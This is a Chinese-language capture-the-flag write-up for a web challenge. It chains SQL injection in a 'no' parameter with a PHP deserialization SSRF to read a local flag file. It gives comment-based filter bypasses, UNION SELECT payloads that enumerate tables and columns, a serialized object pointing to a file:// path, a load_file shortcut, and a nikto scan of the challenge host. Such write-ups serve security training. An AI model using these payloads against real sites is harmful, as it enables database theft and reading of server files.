1. 题目描述
打开链接,这样一个界面
貌似没啥特殊的。。。没关系,我们每个页面都点击一下
login页面:一个简单的登录页面
join界面:不出意外,这应该是一个注册界面
目前,我们什么都不做,能获取到的信息就这些了。
2. 思路分析
首先,我们注册一下,随便填点什么东西
然后提示:
这说明我们blog部分填错了。
ok,知错就改,我们调整一下,试着在csdn上找一个能用的博客链接填进去
发现注册成功
然后点击OK,跳转到正常页面
可以看到,这里已经有一条记录了,这时,我们发现username那里是可以点击的,我们点击一下
这里可以看到通过no这个参数,将相应的信息获取到了,身份信息一般保存在数据库中,这里大概率是从数据库中查的,确认下是否存在sql注入
报错每关系,这反而说明我们构造的数据拼接到sql语句中了,换句话说,sql注入是存在的。我们看看是否能够利用这一点。
3. 解题过程
既然明确了存在sql注入,那么还是试着用union注入之类的试着获取数据库的信息
3.1 先确定数据库的列数和字段数
这里尝试绕过,用通用的大小写和注释方式试下,发现大小写无法绕过,注释可以
这里提示列数不同,OK,将我们注入的union select语句的列数依次递增
no=3 Union//select 1# 1
no=3 Union//select 1,2# 1
no=3 Union//select 1,2,3# 1
no=3 Union//select 1,2,3,4# 1
最后发现数据库中总共是4列
从结果来看,能够利用的是第二列
3.2 获取数据库中的信息
获取表名:no=3 union/**/select 1,table_name ,3,4 from information_schema.tables where table_schema=database()#
获取数据库的列名:no=3 union/**/select 1,column_name ,3,4 from information_schema.columns where table_name=‘users’ and table_schema=database() limit 2,1# (这里回显只有一行,因此这里通过limit来控制显示所有列)
比如,这里就显示第三列字段名为passwd。通过这种方式,我们获取到users表的四个字段分别为no, username, passwd, data
获取数据库中的具体内容:no=3 union/**/select 1,data ,3,4 from users limit 0,1#
查询看前面三个字段都是我们自己设置的,只有最后一个字段不一样
这是一个序列化字符串。但是如何利用暂时没有思路。
分隔线~~~~~
分隔线~~~~~,以下均参考网上大佬解法
3.3 信息获取不足,使用工具扫描下网站
除了上面的信息外,我们对该网站这里直接扫描下,执行命令:nikto -host 61.147.171.105:62060
发现,这里有两个有意思的文件,一个是/user.php.bak,一个是/db.php
/user.php.bak可以下载,内容如下:
这个从代码层来看是有SSRF风险的,什么是SSRF?
简而言之,SSRF的利用点在于服务端会去向某个地址发请求,而这个请求地址是攻击者可控的,那么攻击者可以将请求地址设置为本地地址127.0.0.1或者其它内网地址来访问内网资源,造成信息泄露以及越权访问。
3.4 使用SSRF获取flag
回到题目,这里的SSRF点在于blog参数是我们能够控制的,比如上图中我们可以将序列化后的字符串传递给服务端,然后反序列化后得到真实的值
no=3 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:21:“https://www.csdn.net/”;}’ #
因此我们可以将blog参数设置成内部的资源(看了网上大佬们的答案我才知道这里还有一个flag.php文件),我们将blog的值设置为file:///var/www/html/flag.php
no=3 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’ #
F12查看源码,发现src中存在相应的flag
将该结果用base64进行解码:
成功获取到flag,为flag{c1e552fdf77049fabf65168f22f7aeab}
3.5 一种更简单的解法
这里网上大佬给出了一种简单的方法,直接使用以下sql语句即可获取flag
no=3 union/**/select 1,load_file(“/var/www/html/flag.php”) ,3,4 #
当然,大佬也提到了这个利用点在于必须是高权限用户才行,非高权限用户建议走正常流程。
参考资料:https://blog.csdn.net/qq_41500251/article/details/105383065
4. 总结
非常综合的一道题,考察了SSRF和SQL注入;
1.解题过程中获取到的信息不完善,导致缺失一些关键信息;要养成渗透前先扫描的好习惯;
2. 另外就是过程中尝试过SSRF,也尝试了SQL注入,但是很遗憾,没能将两者结合起来处理(个人认为这道题将SSRF和SQL注入结合起来是一个亮点);
3. 另外,对sql注入的理解也不够深刻。
总之,个人能力尚需提升,收集信息要全面,不同中漏洞需要融会贯通。